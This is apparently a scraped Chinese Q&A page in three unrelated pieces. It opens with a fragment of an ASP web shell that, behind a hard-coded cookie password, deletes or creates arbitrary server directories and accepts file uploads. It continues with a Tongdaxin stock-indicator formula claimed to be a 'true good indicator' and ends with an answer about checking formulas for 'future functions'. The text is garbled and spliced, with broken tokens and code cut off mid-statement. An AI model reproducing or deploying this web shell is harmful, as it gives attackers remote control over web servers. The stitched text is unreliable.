response.write "＜script＞alert('修改成功！要刷新才能看到效果');window.close();＜/script＞"
end if
end if
end if
else
response.write "password error!"
response.write "＜a href='" & rseb & "?q=" & rseb & "'＞【返 回】＜/a＞"
end if
%＞
＜/body＞
＜/html＞
＜�se "edir.asp"%＞
＜html＞
＜head＞
＜meta http-equiv="content-type" content="text/html;charset=gb_2312-80"＞
＜title＞目錄操作＜/title＞
＜style＞
＜!--
table{ font-family: 宋體; font-size: 12pt }
a{ font-family: 宋體; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋體; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
--＞
＜/style＞
＜/head＞
＜body＞
＜% '讀文件
if request.cookies("password")="7758521" then
if request("op")="del" then
if request("attrib")="true" then
whichdir=request("path")
else
whichdir=server.mappath(request("path"))
end if
ofilesys.deletefolder whichdir,true
response.write "＜script＞alert('刪除的目錄為:" & whichdir & "刪除成功！要刷新才能看到效果');window.close();＜/script＞"
else
if request("op")="creat" then
if request("attrib")="true" then
whichdir=request("path")
else
whichdir=server.mappath(request("path"))
end if
ofilesys.createfolder whichdir
response.write "＜script＞alert('建立的目錄為:" & whichdir & "建立成功！要刷新才能看到效果');window.close();＜/script＞"
end if
end if
else
response.write "password error!"
response.write "＜a href='" & rseb & "?q=" & rseb & "'＞【返 回】＜/a＞"
end if
%＞
＜/body＞
＜/html＞
＜%
case "upfile.asp"
if request.cookies("password")="7758521" then
set upload=new upload_5xsoft
if upload.form("filepath")="" then
htmend "請輸入要上傳至的目錄!"
set upload=nothing
response.end
else
formpath=upload.form("filepath")
if right(formpath,1)＜＞"/" then formpath=formpath&"/"
end if
icount=0
for each formname in upload.objform
set file=upload.file(formname)
if file.filesize＞
❺ 求通達信頂底趨勢指標源碼
頂底趨勢指標(通達信)
此指標是我精心收藏的指標，無未來函數，真正的好指標。圖片演示在下面網址里.
趨勢:sma(((close-llv(low,28))/(hhv(high,28)-llv(low,28))*100),3,1) ,colorgreen;
stickline(趨勢>50,趨勢,50,4,0),color32329b;
stickline(50>趨勢,趨勢,50,4,0),color326400;
if(趨勢>50, 趨勢,drawnull), colorred;
rsv:=(close-llv(close,9))/(hhv(close,9)-llv(close,9))*100;
k:=sma(rsv,3,1);
d:=sma(k,3,1);
typ:=(high low close)/3;
cci:=(typ-ma(typ,14))/(0.015*avedev(typ,14));
diff:=ema(close,2)-ema(close,55);
dea:=ema(diff,6);
macd:=2*(diff-dea);
轉點:=if(k>d and cci>0 and diff>dea and macd>0,1,0);
stickline(轉點=1,50,50,6,0),coloryellow;
stickline(轉點=0,50,50,6,0),colorcyan;
頂部:90,coloryellow;
底部:10,colorcyan;
判斷:sma(趨勢,3,1),colorff00ff, linethick2;
if( 趨勢>判斷,判斷,drawnull), coloryellow, linethick2;
if( 趨勢<判斷,判斷,drawnull) ,colorfff000,linethick2;
drawicon(cross(趨勢,判斷),判斷,1);
drawicon(cross(趨勢,頂部),頂部,2);
lc:= ref(close,1);
rsi:=sma(max(close-lc,0),6,1)/sma(abs(close-lc),6,1)*100;
var1:=(hhv(high,9)-close)/(hhv(high,9)-llv(low,9))*100-70;
var2:=sma(var1,9,1) 100;
var3:=(close-llv(low,9))/(hhv(high,9)-llv(low,9))*100;
var4:=sma(var3,3,1);
var5:=sma(var4,3,1) 100;
var6:=var5-var2;
短線1: if(var6>45,var6-45,0),colora6b8c1;
var2q:=ref(low,1);
var3q:=sma(abs(low-var2q),3,1)/sma(max(low-var2q,0),3,1)*100;
var4q:=ema(if(close*1.3,var3q*10,var3q/10),3);
var5q:=llv(low,30);
var6q:=hhv(var4q,30);
var7q:=if(ma(close,58),1,0);
var8q:=ema(if(low<=var5q,(var4q var6q*2)/2,0),3)/999*var7q;
vr2:=ref(low,1);
vr3:=sma(abs(low-vr2),3,1)/sma(max(low-vr2,0),3,1)*100;
vr4:=ema(if(close*1.3,vr3*10,vr3/10),3);
vr5:=llv(low,30);
vr6:=hhv(vr4,30);
vr7:=if(ma(close,58),1,0);
vr8:=ema(if(low<=vr5,(vr4 vr6*2)/2,0),3)/618*vr7;
vr9:=if(vr8>100,100,vr8);
主力進場:stickline(vr9>-150,0,vr9,3,0), , colorff00ff;
洗盤:if(vr9
vark1:=(close-llv(low,27))/(hhv(high,27)-llv(low,27))*100;
vark2:=reverse(vark1);
vark3:=sma(vark1,3,1);
逃頂:=cross(82,rsi);
stickline( 逃頂,逃頂,20,5,0),colorff5500;
stickline( 逃頂,逃頂,30,3,0),colorff8800;
stickline( 逃頂,逃頂,30,2,0),colorffaa00;
stickline( 逃頂,逃頂,30,1,0),colorffcc00;
d1:=(c l h)/3;
d2:=ema(d1,6);
d3:=ema(d2,5);
bbuy:=cross(d2,d3);
風險區:80,colorff85ff;
安全區:20,coloryellow,pointdot;
天線:100,colorffff00;
強弱線:50,colorgreen,pointdot;
drawicon(bbuy,(low *1),1);
varr1:=sma(max(close-ref(c,1),0),6,1)/sma(abs(close-ref(c,1)),6,1)*100;
drawicon(cross(82,varr1),high,15);
drawtext(cross(82,varr1),35,'逃'),coloryellow;
mav:=(2*c h l)/4;
var9:=llv(low,34);
var7:=hhv(high,34);
sk:= ema((mav-var9)/(var7-var9)*100,13);
sd: ema(0.667*ref(sk,1) 0.333*sk,2);
高拋:80, pointdot;
低吸:20, pointdot;
強弱分界:50, pointdot;
drawtext(cross(sd,16),低吸,'●主力'),colorf0ff00,linethick3;
❻ 這個源碼公式有「未來函數」嗎
你可以自己來查證是否有未來函數。方法是先將公式文本文件用windows的記事本或者word打開，然後將以下的函數名稱，逐個查找，如果都查找不到，就可以肯定沒有用未來函數。
未來函數 zig peak peakbars trough troughbars flatzig
flatziga peaka peakbarsa trougha ziga
准未來函數 fft backset winner lwinner
以上解釋，相信你自己也能夠做到的。自己動手，豐衣足食。